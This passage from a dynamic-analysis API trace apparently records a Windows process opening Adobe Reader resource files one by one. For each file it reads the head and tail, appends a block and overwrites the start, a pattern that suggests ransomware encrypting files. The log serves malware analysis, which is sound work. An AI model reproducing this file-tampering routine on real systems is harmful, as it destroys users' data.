hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.531] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.531] ReleaseMutex (hMutex=0x128) returned 1 [0045.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nn_NO.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nn_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0045.531] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.535] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5df2 [0045.535] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.543] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5df2 [0045.543] WriteFile (in: hFile=0x198, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.546] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0045.546] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.546] CloseHandle (hObject=0x198) returned 1 [0045.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0045.547] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.547] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7416 [0045.547] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0045.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.547] ReleaseMutex (hMutex=0x128) returned 1 [0045.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0045.547] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.952] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6416 [0045.952] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.178] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6416 [0046.184] WriteFile (in: hFile=0x198, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.184] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.184] WriteFile (in: hFile=0x198, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.184] CloseHandle (hObject=0x198) returned 1 [0046.185] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.185] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.185] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x724e [0046.185] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.185] ReleaseMutex (hMutex=0x128) returned 1 [0046.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x1e7faec, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.uk.txt", lpUsedDefaultChar=0x0) returned 27 [0046.185] ReadFile (in: hFile=0x198, lpBuffer=0x25c5dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.204] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x624e [0046.204] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.214] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x624e [0046.214] WriteFile (in: hFile=0x198, lpBuffer=0x1db0438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0438*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.214] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.215] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.215] CloseHandle (hObject=0x198) returned 1 [0046.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt04.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt04.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.215] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.215] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2d1d2 [0046.215] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.215] ReleaseMutex (hMutex=0x128) returned 1 [0046.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt04.hsp", lpUsedDefaultChar=0x0) returned 9 [0046.215] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.220] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c1d2 [0046.220] ReadFile (in: hFile=0x198, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.228] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c1d2 [0046.228] WriteFile (in: hFile=0x198, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.228] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.228] WriteFile (in: hFile=0x198, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.229] CloseHandle (hObject=0x198) returned 1 [0046.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.229] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.229] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1430 [0046.229] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.229] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.229] ReleaseMutex (hMutex=0x128) returned 1 [0046.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bulphon.env", lpUsedDefaultChar=0x0) returned 11 [0046.229] ReadFile (in: hFile=0x198, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1430, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2e0f2bc*=0x1430, lpOverlapped=0x0) returned 1 [0046.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0046.248] WriteFile (in: hFile=0x198, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x19b8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x19b8, lpOverlapped=0x0) returned 1 [0046.248] CloseHandle (hObject=0x198) returned 1 [0046.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr95.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr95.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4c800 [0046.248] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.248] ReleaseMutex (hMutex=0x128) returned 1 [0046.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr95.ths", lpUsedDefaultChar=0x0) returned 9 [0046.249] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.256] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4b800 [0046.256] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.293] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4b800 [0046.294] WriteFile (in: hFile=0x198, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.294] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.294] WriteFile (in: hFile=0x198, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.294] CloseHandle (hObject=0x198) returned 1 [0046.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.295] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.295] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7fac [0046.295] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.295] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.295] ReleaseMutex (hMutex=0x128) returned 1 [0046.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan32.clx", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.295] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.307] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6fac [0046.307] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.312] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6fac [0046.312] WriteFile (in: hFile=0x198, lpBuffer=0x1db0408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0408*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.312] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.312] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.312] CloseHandle (hObject=0x198) returned 1 [0046.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0046.313] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.313] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7fe5 [0046.313] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.313] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.313] ReleaseMutex (hMutex=0x128) returned 1 [0046.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.313] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.324] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6fe5 [0046.324] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.332] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6fe5 [0046.333] WriteFile (in: hFile=0x198, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.335] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.335] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.336] CloseHandle (hObject=0x198) returned 1 [0046.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 